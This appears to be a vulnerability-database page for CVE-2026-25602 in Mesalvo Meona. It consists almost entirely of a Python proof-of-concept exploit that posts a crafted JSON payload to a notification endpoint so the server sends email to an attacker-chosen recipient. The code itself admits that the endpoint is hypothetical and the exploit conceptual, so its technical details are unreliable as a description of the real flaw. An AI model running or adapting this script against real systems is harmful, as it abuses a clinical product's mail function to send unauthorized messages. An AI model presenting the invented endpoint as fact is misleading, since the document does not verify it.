CVE-2026-25602 Mesalvo Meona数据验证不足漏洞

import requests # Conceptual Proof of Concept for CVE-2026-25602 # Target: Mesalvo Meona Client/Server Component # Description: Exploit insufficient verification to send email to arbitrary address def exploit(target_ip, target_email): # Hypothetical endpoint vulnerable to the lack of data verification url = f"http://{target_ip}:8080/api/v1/send_notification" # Constructing the malicious payload # The vulnerability allows bypassing checks on the 'recipient' field payload = { "sender": "[email protected]", "recipient": target_email, # Attacker controlled email "subject": "Unauthorized Message", "body": "This message was sent due to CVE-2026-25602." } headers = { "Content-Type": "application/json", "User-Agent": "Meona-Client/19.06.2020" } try: print(f"[*] Attempting to send message to {target_email}...") response = requests.post(url, json=payload, headers=headers, timeout=5) if response.status_code == 200: print("[+] Exploit successful! Message sent.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error during request: {e}") if __name__ == "__main__": # Example usage target = "127.0.0.1" victim_email = "[email protected]" exploit(target, victim_email)